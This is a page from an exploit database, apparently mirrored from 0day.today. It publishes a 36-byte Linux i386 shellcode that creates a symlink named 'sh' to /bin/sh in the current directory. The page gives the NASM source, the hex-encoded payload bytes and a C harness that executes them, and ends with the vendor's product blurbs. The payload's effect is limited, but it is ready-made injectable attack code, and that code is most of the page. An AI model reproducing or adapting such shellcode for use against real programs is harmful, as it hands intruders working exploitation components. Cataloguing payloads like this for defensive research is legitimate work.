Lucene search
K

Linux/x86 - symlink /bin/sh sh Shellcode (36 bytes)

🗓️ 16 Jan 2018 00:00:00Reported by dev0idType 
zdt
 zdt
🔗 0day.today👁 10 Views

Shellcode symlink /bin/sh in current dir for Linux i38

Code
/*The shellcode calls the symlink() and makes the 
 link to the /bin/sh in the current dir.
 size = 36 bytes
 OS   = Linux i386
    written by /rootteam/dev0id (rootteam.void.ru)
  
 
  
  BITS 32
   
jmp short   callit
 
doit:   
 
pop     esi
xor     eax,eax
mov byte    [esi+7],al
mov byte    [esi+10],al
mov byte    al,83       
lea     ebx,[esi]       
lea             ecx,[esi+8]
int     0x80
 
 
callit:
call        doit
 
db      '/bin/sh#sh#'
*/
 
char shellcode[]=
"\xEB\x12"
"\x5E"    
"\x31\xC0"
"\x88\x46\x07" 
"\x88\x46\x0A"
"\xB0\x53"   
"\x8D\x1E\x8D\x4E"
"\x08\xCD"      
"\x80\xE8\xE9" 
"\xFF"        
"\xFF"       
"\xFF\x2F"  
"\x62\x69\x6E"
"\x2F"      
"\x73\x68" 
"\x23\x73\x68"
"\x23";      
 
 
int
main (void)
{
    void (*code)(void);
    code=(void(*)())shellcode;
    (void)code();
    return 0;
         
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jan 2018 00:00Current
0.3Low risk
Vulners AI Score0.3
10